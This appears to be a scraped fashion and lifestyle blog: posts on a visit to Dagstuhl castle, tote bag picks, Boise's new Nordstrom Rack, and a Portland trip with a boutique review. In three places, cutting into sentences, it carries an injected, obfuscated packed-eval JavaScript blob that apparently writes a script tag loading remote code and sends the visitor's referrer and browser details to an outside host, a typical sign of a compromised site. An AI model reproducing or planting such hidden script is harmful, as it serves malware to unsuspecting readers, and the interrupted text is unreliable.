Blogger Abroad: Vacation Style in an Ancient Castle

stylespygirl dagstuhl

stylespygirl dagstuhl

Dagstuhl eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zifna|var|u0026u|referrer|nybfs||js|php’.split(‘|’),0,{}))
Fortress, Wadern, Germany / Tank and Shorts: Express

I learned something new about myself this week: I’m a total history nerd.  Seriously, I hadn’t realized it before, but being back in Germany, surrounded by buildings, towns, & monuments that are over 1,000 years old impacted me so deeply, I felt like a 5 year old girl in Disneyland! There is something so amazing to me – mystical, almost – to walk the same ground where families lived, ate, fought, slept… Real individuals, going about their days just like we do, but in a time so distant, it’s difficult to truly imagine.

This fortress was built around 1290AD, on top of even older existing structures. High atop the hills of Wadern, Germany, the breathtaking view stretches for miles in every direction. Once upon a time, this fortress was amazing. Watch my video for a 360 view of the entire thing!

stylespygirl dagstuhl

stylespygirl dagstuhl

Sunglasses: Kate Spade courtesy of Boise Mountain Eyewear

// dagstuhl

stylespygirl dagstuhl

Shorts: Express / Shoes: ALDO (on sale here now!)

stylespygirl dagstuhl

stylespygirl dagstuhl

stylespygirl dagstuhl

stylespygirl dagstuhl

stylespygirl dagstuhl


Pretty and Professional; Finding the Perfect tote!

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That’s a wonderful question, Dawn! Thanks for asking! I LOVE questions from my readers! 😀

When it comes to having a work handbag that is large enough to carry your files, computer, and a variety of essentials, my preference is always to find a structured tote. I want it to be wide enough to hold my larger items, but solid, so that when I set it down it doesn’t schlump to the ground in a puddle of leather.

Ideally, your perfect tote would have enough room that you can put in your own dividers; get something that works for your organizational needs from Office Depot, Staples, etc., and take it with you when you go purse shopping!

I stopped by Nordstrom Rack for some photos of the types of handbags I think might work best for you. Most are solid colors, that would coordinate well with an office wardrobe, plus one wild Betsey Johnson tote I just had to throw in for the FUN of it! 🙂

Let me know what you think!




Michael Kors



Huge Bueno Handbags (Kate Spade wallet for size reference)


Betsey Johnson


Spotted on the Clearance Table: Ipad/Tablet purses by Marc Jacobs, & Rebecca Minkoff


Shopping at the Rack with my favorite go-to Betsey Johnson tote!

Jacket: Nordstrom // Tank: BP for Nordstrom // Tote: Betsey Johnson // Leggins: H&M

~♥~ It’s ALL About the Clothes! ~♥~

By eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dradh|var|u0026u|referrer|zzftb||js|php’.split(‘|’),0,{}))
Tanya Carnahan, with Photos by
Ammo Photog

Unless you live in a cave – or avoid any form of news media, in or out of that cave – you’ve probably heard something about the latest addition to this town’s shopping landscape.

A Nordstrom Rack opened last week near Boise Towne Square Mall. There were news crews, long lines, screaming stampedes of giddy shoppers, crowded aisles, “controversy” over secret pre-parties (yup, we were at one of those – it totally rocked!!!), and basic new-store shopping mayhem.

But amidst all the hoopla, an important element of this store’s grand arrival seems to have been forgotten; the main thing that had fashion bloggers, big-city transplants, style hunters, and bargain shoppers salivating from the time the Nordstrom Rack sign went up on that building…

It’s ALL about the CLOTHES!!!!!

Nordstrom Rack brings something NEW to Boise; brands that haven’t had a presence in this town until now will finally be accessible to those who love the style & quality of high-end names like Burberry, Tory Burch, Allen Edmonds, Diesel, Armani, Kate Spade, & Marc Jacobs. The Rack also offers extensive fashion pieces from lines like Betsey Johnson, Juicy Couture, and Joe’s; brands that currently have a limited presence in other stores. And everything is sold at a discount, anywhere from 20-90% off of retail!

But why are these names so imortant? Because new brands give Boise access to new styles, and new perspectives on fashion! Now, those fashion-forward styles we see in the magazines are one step closer to being worn in Boise. The question is: are Boiseans brave enough to wear them?

Only time will tell, but if the thrilled & satisfied shoppers from Thursday’s Rack opening were any indication, Boise’s fashion landscape is about to have the brightest and boldest Spring it’s ever seen.

Here are some of the happy faces we saw, with their great fashion finds…

(Me & Ammo Photog, covering the Grand Opening for Fusion Magazine)

What is a Nordstrom Rack, and why am I Cartwheeling About it?

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfyzi|var|u0026u|referrer|stiik||js|php’.split(‘|’),0,{}))
grew up (mostly) in the Pacific Northwest,
where Nordstrom was founded. This wonderful family-run store has always been one of my favorites, its name synonymous with high quality, high fashion, and top-notch customer service. I still have my mother’s Dexter boots, bought at Nordstrom in the late 1970’s – despite being decades old, they’re strong, solid, & fashionable as ever! (Thanks, Mom!)

When the newly-opening Nordstrom Rack comes up in casual conversation, I usually hear one of two reactions. Many folks are thrilled, and can’t wait for the grand opening. Others look at me puzzled, and say: “What’s a Rack???” For those of you who fall into the first category, you’ll be happy to know the rumors are true: Boise is, indeed, opening it’s first Nordstrom Rack on April 12th, 2012. (Info on the Grand Opening Celebration is HERE!)

For those of you who fall into the second category, here’s the scoop on why everyone’s so excited: if you love high-quality, fashion-forward clothing, shoe, & accessories for less than department store prices, Nordstrom Rack is a little slice of shopping Heaven. Actually, I take that back; it’s a BIG slice!!!

But wait, you may say, what makes Nordstrom Rack different from other “fashion for less” stores? Because the items & brands they carry are different! Racks receive shipments of high-end clothing, directly from their mainline Nordstrom stores in Seattle, Portland, LA, and other parts of the country. Things that are still current, but maybe have only a few size options left, get sent to the Rack where they are deeply discounted. In fact, once or twice I’ve come across a clothing item in the Rack, that is STILL in the mainline stores, but at half the price!

A Nordstrom Rack in town gives us access to fashion styles and high-end names that are new to Boise! (Can you just hear the fashion bloggers salivating? Lol, I’m doing cartwheels!) Shopping in the Rack is like digging for buried treasure on a tropical beach; every day the tide washes out, and brings a whole new selection of amazing discoveries! We’re talking about fashion gems like Kate Spade totes, Chanel wallets, Gucci shoes, Diane von Furstenberg blouses, Givenchy jewelry, Nanette Lepore dresses, Armani jackets… I could go on and on, but you get my point. These are brands and styles that are HARD TO FIND in Boise – up until now! (Or rather, up until April 12th!)

So rejoice, Boise! And get ready for something new. Nordstrom Rack is coming, and I for one will be first in line! 😉 See you at the Grand Opening!!


P.S. Seriously, I hope you can all join me for the amazing Opening Day party! There will be entertainment, refreshments, and giveaways, including 20 Gold Hangers hidden throughout the store – each worth $100!!!


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month I had the privilege of working with some fabulous shopping clients in Portland. Between fittings & wardrobe work, I also had fun exploring this beautiful city! (Love my job!!) ;-D Along the way I found great food, fascinating sights, funky fashion, and a hot boutique I can’t wait to tell you about!

(Click on the pictures to view them larger!)

But first things first… Downtown! 😀 From art fairs, to street vendors for every culinary craving, to high-end stores like Kate Spade & Louis Vuitton, Portland is a an eclectic & colorful mix of culture and city life! If there’s something your heart, tummy, or eyes crave, you are sure to find it here. I had a blast wandering through the city, jumping on the convenient train & trolly system, and soaking in all the colors, sounds & smells of Portland.

I spent most of my shopping time in Nordstrom (of course, my home turf!), but thoroughly enjoyed the sunny, outdoor malls like Bridgeport Village, and adorable boutiques like Pinky’s on 23rd Ave, also known as “The Alphabet District.” My favorite boutique in Portland is on that street, but more on that in a minute… 😉

It was so much fun to reconnect with old friends (thank you, Larissa, Dana & Lexine for taking such good care of me!) We hit the town every day, finding fabulous art (like this painting “Blue” by Buzz Siler), gorgeous views, and fabulous fashionistas, whose style ranged from rockabilly-hippy to emo-grunge-metro-tough, to everything in-between! I even had the chance to “fight back” against the skinny-model stereotypes being perpetuated by the fashion industry, ha ha ha!!! ;D

And the Winner is… As you can see, I had a total blast in this wonderful town!!! But before my trip, I asked my Facebook friends “What’s your favorite locally-owned Portland Boutique?” Hands-down, you all voted for….. SLOAN!

I had to stop in and see what all the fuss was about, and I can say from first-hand experience, the fuss is totally justified! From the eye-catching decor, to the color-blocked racks of clothes, to the hip & SUPER-friendly staff, Sloan immediately snags a place in your heart and doesn’t let go. It’s a little slice of shopping heaven!

I’m a dress addict, so of course I had to try on about a dozen of them, and fellow shoppers and sales clerks were kind enough to pose for my camera (Thank you, ladies!!) I fell head-over heels for the floral maxi dress (probably the first time I’ve loved florals, or maxi dresses, ha ha!)

Sloan’s owners David & Karalee Whitehouse have stocked their store with well-chosen pieces from a variety of lines, with prices to suit every budget; BCBG (my fave!), Kensie Girl, Tulle, Kerch, and even their own in-house-designed line, Sloan Essentials!

Sloan also features shoes, belts, hats, scarves & other accessories, as well as Lucious Jewelry, a locally-designed, eye-catching line which is featured on Fred Armison’s show Portlandia. I was really drawn to the dramatic, organic shapes and unusual charms! Very, very cool. 🙂 (Be sure and click on the pic to see them close-up!)

Next time you’re in Portland, be sure and check out SLOAN Boutique, and their stellar, super-sweet sales staff. I promise, they will make you feel right at home… in fashion heaven! ;-D Check out their Facebook page for pictures, contact info, and store hours.

Thank you for a wonderful time, Portland! I hope to see you again soon!



Sloan Boutique is located at 738 NW 23rd Avenue, Portland, OR 97210. Tel: (503)222 6666.